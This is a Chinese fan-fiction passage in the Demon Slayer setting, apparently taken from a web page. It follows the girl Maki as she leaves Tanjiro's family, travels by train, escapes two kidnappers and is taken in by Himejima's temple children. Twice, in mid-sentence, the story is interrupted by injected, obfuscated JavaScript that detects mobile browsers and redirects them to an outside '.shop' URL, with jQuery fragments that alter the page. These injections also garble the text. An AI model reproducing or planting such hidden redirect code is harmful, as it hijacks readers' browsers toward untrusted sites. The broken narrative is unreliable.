真希来的时两手空空,走的时候葵枝怕她在路上饿着,包了满满当当的面饼。
那株娇贵的草药,炭十郎为它量身编织了竹筐,便于携带保存。
祢豆子一直牵着她的手,分离带来的情绪还是有些藏不住。
真希虽然舍不得,但想要回家的想法同样迫切。
临走前,躲开老远的竹雄,别扭地握住她另一只手:“……还会再见面的吧?”
“会的,”真希肯定道,小拇指灵活地勾住他的,晃了晃:“我们约好了,不可以忘记我哦。”
“我会记住的,姐姐。”他默默收紧手指的力道。
“我们该出发了,”炭十郎提醒,“路程有点远,我和哥哥要过几天回来,家里就拜托你们了。”
“交给我吧,爸爸。”祢豆子松开真希,牵上竹雄后退两步:“再见,真希,路上小心。”
“爸爸和哥哥也是,路上小心。”她挥手的时候,用浅浅的笑掩盖了不舍。
葵枝背着花子在一旁注视着他们,叮嘱道:“下次可不能这么任性了。”
真希忽然眼眶有点酸,沉默地点头。
三人下山,是来时的队形,炭治郎拉着她跟在后面,握住的手比上山时更紧了,他专注地看脚下的路,偶尔转过头来笑一笑。
路上异常安静,直到炭十郎说的地方,满目灯火照得夜色亮如白昼,街上还有来往的行人,与他们常去的小村镇,不太一样。
炭治郎看得眼花缭乱,小脸红扑扑的,显出几分稚嫩的神色。
真希没心思欣赏这副景象,她从中发现了前几天下车时经过的路口,脚下就要朝那边跑去。
炭十郎阻止:“等天亮。”
匆匆休息的一晚,真希不停睁眼闭眼确认天色,总算正式踏入车站。
看到熟悉的庞然大物,她眼前一亮,冲到车前,是不是搭上这个,她就可以回去了?
“小朋友,你的家人呢?不可以在这种地方乱跑哦。”值班的列车员蹲下,友善地询问。
“抱歉,这是我家孩子。”炭十郎走上前,盯住男人观察了一会儿,缓缓说道:“可以向你打听一些事情吗?”
列车员莫名被看得心慌,下意识扶了扶帽子,站起来:“没……没问题。”
问过后,才知道有不同的列车
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17021142|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在不同的地方往返,真希想了半天,也记不起她上车地方的名字。
只能拼命描述记忆中的景物,接连问了数人,终于确认了真希该乘坐的列车。
……
“真的不需要我们一起?”虽是询问,炭十郎的语气里却带着不赞同。
“绝对不行!”炭治郎则更加直白,牢牢抓住她以表决心。
“我是认真的!”真希坚定道。
她像是要加强可信度,笃定道:“我回去后会给你们写信的。”
“万一找错了怎么办?”炭治郎依旧反对:“路上遇到危险怎么办?”
真希反驳:“那祢豆子、竹雄和花子呢?葵枝阿姨呢?他们也要保护。”
“但是……”听到家人的名字,炭治郎显然动摇了。
“至少让炭治郎送你一趟吧。”炭十郎提议道,家里几个孩子年纪都太小,他们一同外出太久,的确放心不下深山中的家人。
“那炭治郎回去的时候呢?要让他一个人吗?”
“我……”炭治郎张张嘴。
真希没有给他说话的机会:“他比我大,是哥哥,也同样是小孩子啊,如果您认为他可以,那我也没问题。”
“对了,”噼里啪啦说完,她凑近炭治郎耳边:“回去之后,记得‘好好’整理我的被子。”
“?”炭治郎疑惑。
真希神秘一笑,她的一切,都有父母和哥哥准备,没什么花钱的机会,却也知道,吃饭,买药都是要用钱换的,别人的东西不会平白无故变成她的。
她将能留下的都留下了。
他们离得很近,背景是催促的铃声。
真希顺势抱住他,某一瞬间,她的身上散发出浓烈的,让人心脏收紧的味道。
她松手抬头,笑容明媚,那股味道消失得无影无踪,变得清澈而坚定。
炭治郎没来得及反应,听见她落下一句:“下次见,炭治郎,叔叔。”
他视野里剩下消失的衣角。
真希不喜欢一个人,但她没有回头,炭治郎一家再好也不属于她。
她要努力回到属于自己的地方。
真希在车上数着时间,兴奋与困倦交替,半梦半醒间,期待一个睁眼就可以回家的魔法。
列车的轰鸣停下,她紧张地睁开一丝缝隙,站在来往匆匆的人流中踮脚张望,辨认方向。
想到上次惨痛的教训,真希先退到了远离人群的边缘。
不过周遭似是而非的标识,实在让她有些苦恼。
与其独自烦恼,不如大胆求助,真希决定去问问看,熟悉许多的景色,给了她底气。
“请问——”
真希抬头,不是她在说话。
女人笑靥如花,弯腰凑近她:“是遇到什么麻烦了吗?”
真希抱紧怀里的小竹筐。
“我不是什么坏人。”
眼前闪过炭治郎的身影,她试探开口:“请问——”
“有听说过炼狱这个姓氏吗?”
女人思索片刻后,竟然真的点了点头:“需要我带你过去吗?不过我们要快一点,我待会儿要走了。”
她直起身体,做出查看时间的姿态。
真希挣扎数分钟,在女人不时询问的目光中,答应下来。
……
不久后,披着火焰羽织的醒目身影,闯入众人的视线。
“就是这里吗?”槙寿郎目光如炬,他身旁列车员打扮的人承受不住压力,双腿发颤,连连称是。
“那就麻烦你,详细说说看了。”
怪不得找不到人,乘上了火车,事情有点麻烦了。
“那、那天……我看到那女孩,以为是哪个家长粗心大意……”
男人将那天看到真希的事情娓娓道来。
21.历险记5
周围的人逐渐变少,真希不远不近跟在女人后面,炎柱宅邸所在的地方,的确称得上人烟稀少,但看到的风景越来越陌生。
她停下脚步,和前面的人又拉开了些距离。
女人有所察觉,她们中间隔出老远,微微一笑,也不恼:“不去了吗?”
真希不答,转身就走。
道路中间忽然闪出一个身影,将她拦住:“半途而废可不是好孩子该做的事情。”
事实证明,训练的日子终究没有白费。
被抓住的瞬间,真希借力一个翻身狠狠踢向男人的脆弱部位。
腿太短,没造成实打实的伤害,她略微遗憾。
仅仅擦到,对方就松了手。
真希迅速拉开距离,没功夫深究为什么这招管用。
两人显然没想到她像只猴子似的,转眼就窜了出去。
“你在干什么!连个孩子都抓不住吗?”女人离得远,看见的就是小女孩一挣扎,人就跑了。
男人心有余悸捂住,恼羞成怒:“那你还不追!”
一只手就能捏住的人,他一时不察罢了,等抓到,非得好好教训一顿!
“切,”女人啐了一口,不耐烦道:“老样子。”
真希往前狂奔,空隙间往回瞥了一眼,有一个人在追她。
凭借体型和灵活的优势,从各个狭窄的巷子里穿梭,身后的人影很快就消失不见,她没敢掉以轻心,躲在角落平复呼吸。
剧烈运动后心跳逐渐平稳,周围依旧没有动静,真希稍微松了口气,想抓住她,还早了一百年呢。
她小心翼翼探出脑袋,确认无人,观察四周变换位置。
“在找我吗?”柔和的声音带着笑意。
接着一块湿润的白布,迅雷不及掩耳之势盖上真希的口鼻。
她反应快,用上攻击力尚可的肘部,狠狠出击。
背后的人为了躲开,捂住她的手些许移位。
真希同样趁机踹了一脚,泥鳅似的滑了出来,甩了甩略带眩晕的脑袋。
“很遗憾,这招对我没用。”女人慢条斯理擦着留下的鞋印。
“解决了?”男人姗姗来迟。
“嗯。”她轻飘飘扔掉那块用过的白布,眼神像在看一条垂死挣扎的鱼。
真希心中警铃大作,她的腿越来越重。
两人愈发从容,逗猫般欣赏真希一惊一乍的样子。
“这孩子,倒是比一些大人还坚持得久。”
“磨磨唧唧的,都这样了直接打晕省事。”男人三两步走近,扯过她的手臂,扬起手掌。
手掌未能落下,被不知哪里冒出来的人钳住。
他开了口,声音浑厚:“真是可悲,欺负小孩,作为成人的脸面在哪里?”
真希用尽最后的力气,挣脱捉住自己的手,不稳地后退。
视野中的人影若隐若现,模糊不堪。
追寻她来的两人,和新出现的高大人影黏成一团,偶尔凹陷下去一块,真希揉揉眼睛,耳边听见尖锐的喊叫。
重叠的色块分离,有两块蹦蹦弹远了。
她真的不是在做梦吗?
剩下的那块啪叽在她面前叠成两半,变矮了。
“你,还好吗?”
声音从遥远的地方传来,真希眼前一黑,失去意识前,只来得及抱紧手中的东西。
……
那两人惊慌失措跑远后,狼狈地扶着树干喘气。
“不是个瞎子和尚吗?怎么劲这么大!”女人抱怨道。
“还好,不算空手而归。”男人掏出从真希身上搜出来的东西:“以我的经验,这玩意儿是金的。”
女人拿过来晃动两下:“不是铃铛吗?哑的?”
“会不会响不重要,是真金白银就行,多少能卖点。”男人抢过,忍不住咬下一口。
“呸!这是什么?”他吐出嘴里的异物,沾了唾液后面目全非。
女人倒出铃铛中心剩下的碎屑,碾开,在鼻尖嗅了嗅:“好像是紫藤花的味道。”
……
……
不知道是不是因为最后看到的画面,真希产生了奇怪的联想,做了个不停被马赛克色块追逐的梦,还宣言要把她变成同类。
她吓得从梦中惊醒。
“啊——那个人醒了!”有人惊呼一声。
随后是轻重交替的脚步声,呼啦啦围了一圈人上来,真希迷茫地缩了缩,药物带来的影响未能完全消散。
“老师——”其中一个女孩子朝旁边大喊一声。
“你们,不要吓到人家了。”
真希需要努力抬高头才能看清来人的全貌,她的第一印象只有两个字:高,瘦。
以及无法忽视的纯白双目。
这份高度差没有持续太久,他准确跪坐在了真希的床铺边,很大一只。
“怎么样,还难受吗?”他身上朴旧的麻布衣裳,袖口衣领,都已经发白卷边。
“你……你是?”
“是老师救了你!”有孩子迫不及待替他解释。
“谢谢……”因为遇见那两人的关系,真希无法放松下来,身体又不允许她做出过大的动作,否则她这会儿就该夺门而出了。
悲鸣屿对她的警惕习以为常,他救助的孩子中,初见时,什么反应的都有。
他微微一笑,没有焦点的眼睛里似乎是在释放善意:“还记得发生的事情吗?”
真希点点头,随后想起比那个更重要的事情,猛地爬起来,地板发出咯吱咯吱的声音。
“我……我的……”
“和树。”
“在。”被叫到名字的孩子,起身去拿了真希的包裹,双手递上。
悲鸣屿道:“你的东西都在这,看看有没有丢。”
说是包裹,其实只有她的宝贝竹筐,和葵枝阿姨包好的烙饼。
真希掀开竹筐的盖子查看,松了口气,再次真心实意地道了谢。
“没丢就好,在这里休整后再出发吧。”
悲鸣屿话音刚落,另一个看起来年纪尚幼的小女孩,捧着有缺口的盘子,送到她手中。
“姐姐,给你。”
盘子里装着一条烤鱼,已经没了热气。
小女孩收起瘦弱的小手,不好意思地笑了笑,眼睛却不住地看向她。
真希注意到身下被子的补丁,和破旧的地板,唯一障子门的缝隙被不同材料的纸糊了又糊。
“这是大家留给你的份,吃吧。”悲鸣屿宽大的手掌抚摸着送东西女孩的头,无言的夸赞。
真希一动,众人眼巴巴的视线也跟随她转。
大家看的不是她,而是她手中的食物。
真希笑不出来,酸酸胀胀的心脏有点难受。
外面的世界没有她想象的好,也没有想象中的坏。
她的东西没有动过的痕迹,甚至递上来的时候,都显得小心谨慎。
“都说了不用给她留,这种看起来就不缺钱的大小姐。”不满
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027487|193099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的声音从包围圈外边传进来。
真希歪头,从人群中的缝隙里看见独自靠墙坐在外围的男孩,金色勾玉挂在脖子左侧,黑色头发蓬松的向外炸开。
见她在看,粗壮眉毛下的大眼睛狠狠瞪过来。
“抱歉,狯岳,今天的食物是有点少了,明天会努力让大家吃饱的。”悲鸣屿出言安抚。
“不是老师的错!”
“老师每天都很辛苦,我们应该更努力一点才是!”
“就是就是!”
“大家……”
孩子们接二连□□驳,这位看不见的大哥哥一副要哭了的表情,真希怎么可能若无其事吃下去这条鱼。
她生硬的啊了一声,引回他们的注意力:“差点忘记了,这些饼我带出来很久了,闻起来像是要坏了,能帮我吃掉吗?”
蹩脚的演完随口想的理由,真希摊开异常扎实的面饼。
口感不算好,也没有馅料,但吃完后饱腹感没得说,葵枝阿姨的爱实在太饱满了,饱满得噎人。
“不用了……你自己留着,我们吃过了。”最初叫做和树的男孩干巴巴拒绝。
“这样啊。”真希垂下眼皮,遮住转动的视线,抬头放出名为‘真可惜’、‘我真可怜’的目光。
“如果坏掉那就太浪费了。”她垂头丧气,一边说,一边放慢动作,有一下没一下收起来。
“姐姐,你别伤心。”年纪最小的沙代先受不住,踮脚抬手摸头的动作大概是现学现用。
面对直白的眼神,真希突然觉得有点抱歉。
不过没过多久,她就心安理得品尝上烤鱼,顺便观看众人嚼着面饼灌水的场景。
虽然味道比较原汁原味,但真希还是吃完了。
她看向不曾移动位置的狯岳,想了想,掰下一块走过去:“一起吃吧。”
“不需要。”狯岳冷冷拒绝,从头到尾都没抬头看她一眼。
真希塞进他怀里,挥挥手:“不要就扔掉吧。”
身后的不耐地说了句什么,她转头,只看见狯岳开门离开的背影。
“狯岳那家伙……”和树欲言又止,最终只是赌气般说了句:“别管他了。”
真希不明所以。
为了尽快将剩余的药物排出体外,真希灌了一天水,效果怎么样她感觉不出来,去厕所的次数多到睡不了觉,是深刻感受到了。
如果不是白色眼睛的大哥哥叮嘱晚上不要外出,她都想等在厕所旁随时待命了。
回到寺庙,真希重复蹑手蹑脚溜进去的动作。
没有多余的被褥,她和沙代挤在一起。
毫无困意的真希不想打扰沙代睡觉,盘腿坐在地板上。
她托住下巴,想着快点天亮,继续出发。
外面响起坚硬物体闷闷的倒地声,真希疑惑抬头,有谁在吗?
接着是更轻的,细小炸裂声。
真希推开一道缝隙,狭小的视野中,空无一物。
向下看去,她发现了不对,香炉的位置,剩下香灰。
有小偷?
真希换了个位置,观察另一侧,依旧什么都没发现。
她大着胆子,又推了推门。
而这次,正前方树后的生物,虽有人形,若隐若现的四肢,却异常粗壮,青筋遍布。
此刻正蠢蠢欲动扭动手指。
见到的一瞬间,父亲曾形容过的话语出现在脑海。
真希已然确认,不远处的异形生物,就是所谓的鬼。